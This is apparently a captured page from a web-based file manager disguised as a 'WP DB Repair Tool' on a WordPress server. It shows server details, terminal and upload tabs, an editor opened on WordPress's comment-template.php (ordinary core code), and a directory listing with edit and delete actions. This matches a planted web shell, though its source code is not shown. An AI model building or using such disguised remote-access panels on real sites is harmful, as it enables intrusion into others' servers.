WP DB Repair Tool
7.4.33 | Linux x86_64
Server
128.199.10.0
User
www-data (uid:33)
PHP
7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-includes/blocks
/
/
var
/
www
/
html
/
wp-includes
/
blocks
Edit: comment-template.php
<?php /** * Server-side rendering of the `core/comment-template` block. * * @package WordPress */ /** * Function that recursively renders a list of nested comments. * * @since 6.3.0 Changed render_block_context priority to `1`. * * @global int $comment_depth * * @param WP_Comment[] $comments The array of comments. * @param WP_Block $block Block instance. * @return string */ function block_core_comment_template_render_comments( $comments, $block ) { global $comment_depth; $thread_comments = get_option( 'thread_comments' ); $thread_comments_depth = get_option( 'thread_comments_depth' ); if ( empty( $comment_depth ) ) { $comment_depth = 1; } $content = ''; foreach ( $comments as $comment ) { $comment_id = $comment->comment_ID; $filter_block_context = static function ( $context ) use ( $comment_id ) { $context['commentId'] = $comment_id; return $context; }; /* * We set commentId context through the `render_block_context` filter so * that dynamically inserted blocks (at `render_block` filter stage) * will also receive that context. * * Use an early priority to so that other 'render_block_context' filters * have access to the values. */ add_filter( 'render_block_context', $filter_block_context, 1 ); /* * We construct a new WP_Block instance from the parsed block so that * it'll receive any changes made by the `render_block_data` filter. */ $block_content = ( new WP_Block( $block->parsed_block ) )->render( array( 'dynamic' => false ) ); remove_filter( 'render_block_context', $filter_block_context, 1 ); $children = $comment->get_children(); /* * We need to create the CSS classes BEFORE recursing into the children. * This is because comment_class() uses globals like `$comment_alt` * and `$comment_thread_alt` which are order-sensitive. * * The `false` parameter at the end means that we do NOT want the function * to `echo` the output but to return a string. * See https://developer.wordpress.org/reference/functions/comment_class/#parameters. */ $comment_classes = comment_class( '', $comment->comment_ID, $comment->comment_post_ID, false ); // If the comment has children, recurse to create the HTML for the nested // comments. if ( ! empty( $children ) && ! empty( $thread_comments ) ) { if ( $comment_depth < $thread_comments_depth ) { ++$comment_depth; $inner_content = block_core_comment_template_render_comments( $children, $block ); $block_content .= sprintf( '<ol>%1$s</ol>', $inner_content ); --$comment_depth; } else { $block_content .= block_core_comment_template_render_comments( $children, $block ); } } $content .= sprintf( '<li id="comment-%1$s" %2$s>%3$s</li>', $comment->comment_ID, $comment_classes, $block_content ); } return $content; } /** * Renders the `core/comment-template` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the HTML representing the comments using the layout * defined by the block's inner blocks. */ function render_block_core_comment_template( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $comment_query = new WP_Comment_Query( build_comment_query_vars_from_block( $block ) ); // Get an array of comments for the current post. $comments = $comment_query->get_comments(); if ( count( $comments ) === 0 ) { return ''; } $comment_order = get_option( 'comment_order' ); if ( 'desc' === $comment_order ) { $comments = array_reverse( $comments ); } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '<ol %1$s>%2$s</ol>', $wrapper_attributes, block_core_comment_template_render_comments( $comments, $block ) ); } /** * Registers the `core/comment-template` block on the server. * * @since 6.0.0 */ function register_block_core_comment_template() { register_block_type_from_metadata( __DIR__ . '/comment-template', array( 'render_callback' => 'render_block_core_comment_template', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comment_template' );
Name
Size
Actions
accordion/
-
-
accordion-heading/
-
-
accordion-item/
-
-
accordion-item.php
3K
View
Edit
Del
accordion-panel/
-
-
accordion.php
1.1K
View
Edit
Del
archives/
-
-
archives.php
4.3K
View
Edit
Del
audio/
-
-
avatar/
-
-
avatar.php
5.5K
View
Edit
Del
block/
-
-
block.php
4.1K
View
Edit
Del
blocks-json.php
194.5K
View
Edit
Del
breadcrumbs/
-
-
breadcrumbs.php
18.6K
View
Edit
Del
button/
-
-
button.php
1.7K
View
Edit
Del
buttons/
-
-
calendar/
-
-
calendar.php
5.9K
View
Edit
Del
categories/
-
-
categories.php
4.8K
View
Edit
Del
code/
-
-
column/
-
-
columns/
-
-
comment-author-name/
-
-
comment-author-name.php
2.1K
View
Edit
Del
comment-content/
-
-
comment-content.php
2.4K
View
Edit
Del
comment-date/
-
-
comment-date.php
1.8K
View
Edit
Del
comment-edit-link/
-
-
comment-edit-link.php
1.7K
View
Edit
Del
comment-reply-link/
-
-
comment-reply-link.php
2K
View
Edit
Del
comment-template/
-
-
comment-template.php
4.4K
View
Edit
Del
comments/
-
-
comments-pagination/
-
-
comments-pagination-next/
-
-
comments-pagination-next.php
1.9K
View
Edit
Del
comments-pagination-numbers/
-
-
comments-pagination-numbers.php
1.6K
View
Edit
Del
comments-pagination-previous/
-
-
comments-pagination-previous.php
1.7K
View
Edit
Del
comments-pagination.php
1.2K
View
Edit
Del
comments-title/
-
-
comments-title.php
2.7K
View
Edit
Del
comments.php
6.6K
View
Edit
Del
cover/
-
-
cover.php
7.2K
View
Edit
Del
details/
-
-
details.php
1.5K
View
Edit
Del
embed/
-
-
file/
-
-
file.php
1.8K
View
Edit
Del
footnotes/
-
-
footnotes.php
3.7K
View
Edit
Del
freeform/
-
-
gallery/
-
-
gallery.php
8.9K
View
Edit
Del
group/
-
-
heading/
-
-
heading.php
1.3K
View
Edit
Del
home-link/
-
-
home-link.php
5.3K
View
Edit
Del
html/
-
-
icon/
-
-
icon.php
4K
View
Edit
Del
image/
-
-
image.php
17.2K
View
Edit
Del
index.php
5K
View
Edit
Del
latest-comments/
-
-
latest-comments.php
5.4K
View
Edit
Del
latest-posts/
-
-
latest-posts.php
8.6K
View
Edit
Del
legacy-widget/
-
-
legacy-widget.php
3.9K
View
Edit
Del
list/
-
-
list-item/
-
-
list.php
1.2K
View
Edit
Del
loginout/
-
-
loginout.php
1.6K
View
Edit
Del
math/
-
-
media-text/
-
-
media-text.php
4.2K
View
Edit
Del
missing/
-
-
more/
-
-
navigation/
-
-
navigation-link/
-
-
navigation-link.php
15.8K
View
Edit
Del
navigation-overlay-close/
-
-
navigation-overlay-close.php
1.7K
View
Edit
Del
navigation-submenu/
-
-
navigation-submenu.php
11.5K
View
Edit
Del
navigation.php
63.3K
View
Edit
Del
nextpage/
-
-
page-list/
-
-
page-list-item/
-
-
page-list-item.php
361B
View
Edit
Del
page-list.php
14.7K
View
Edit
Del
paragraph/
-
-
paragraph.php
1.1K
View
Edit
Del
pattern/
-
-
pattern.php
1.7K
View
Edit
Del
post-author/
-
-
post-author-biography/
-
-
post-author-biography.php
1.5K
View
Edit
Del
post-author-name/
-
-
post-author-name.php
1.9K
View
Edit
Del
post-author.php
2.7K
View
Edit
Del
post-comments-count/
-
-
post-comments-count.php
1.2K
View
Edit
Del
post-comments-form/
-
-
post-comments-form.php
2.7K
View
Edit
Del
post-comments-link/
-
-
post-comments-link.php
2.2K
View
Edit
Del
post-content/
-
-
post-content.php
2.3K
View
Edit
Del
post-date/
-
-
post-date.php
3.6K
View
Edit
Del
post-excerpt/
-
-
post-excerpt.php
4.2K
View
Edit
Del
post-featured-image/
-
-
post-featured-image.php
9K
View
Edit
Del
post-navigation-link/
-
-
post-navigation-link.php
4.7K
View
Edit
Del
post-template/
-
-
post-template.php
5.6K
View
Edit
Del
post-terms/
-
-
post-terms.php
3.6K
View
Edit
Del
post-time-to-read/
-
-
post-time-to-read.php
6.3K
View
Edit
Del
post-title/
-
-
post-title.php
2.1K
View
Edit
Del
preformatted/
-
-
pullquote/
-
-
query/
-
-
query-no-results/
-
-
query-no-results.php
1.8K
View
Edit
Del
query-pagination/
-
-
query-pagination-next/
-
-
query-pagination-next.php
3.6K
View
Edit
Del
query-pagination-numbers/
-
-
query-pagination-numbers.php
4.6K
View
Edit
Del
query-pagination-previous/
-
-
query-pagination-previous.php
3.4K
View
Edit
Del
query-pagination.php
1.1K
View
Edit
Del
query-title/
-
-
query-title.php
2.7K
View
Edit
Del
query-total/
-
-
query-total.php
2.4K
View
Edit
Del
query.php
5.6K
View
Edit
Del
quote/
-
-
read-more/
-
-
read-more.php
1.8K
View
Edit
Del
require-dynamic-blocks.php
4.9K
View
Edit
Del
require-static-blocks.php
520B
View
Edit
Del
rss/
-
-
rss.php
4.5K
View
Edit
Del
search/
-
-
search.php
23.3K
View
Edit
Del
separator/
-
-
shortcode/
-
-
shortcode.php
735B
View
Edit
Del
site-logo/
-
-
site-logo.php
6.2K
View
Edit
Del
site-tagline/
-
-
site-tagline.php
1.2K
View
Edit
Del
site-title/
-
-
site-title.php
1.8K
View
Edit
Del
social-link/
-
-
social-link.php
66K
View
Edit
Del
social-links/
-
-
spacer/
-
-
table/
-
-
tag-cloud/
-
-
tag-cloud.php
1.6K
View
Edit
Del
template-part/
-
-
template-part.php
10.2K
View
Edit
Del
term-count/
-
-
term-count.php
1.8K
View
Edit
Del
term-description/
-
-
term-description.php
1.7K
View
Edit
Del
term-name/
-
-
term-name.php
2K
View
Edit
Del
term-template/
-
-
term-template.php
4.4K
View
Edit
Del
terms-query/
-
-
text-columns/
-
-
verse/
-
-
video/
-
-
video.php
2.7K
View
Edit
Del
widget-group/
-
-
widget-group.php
2.4K
View
Edit
Del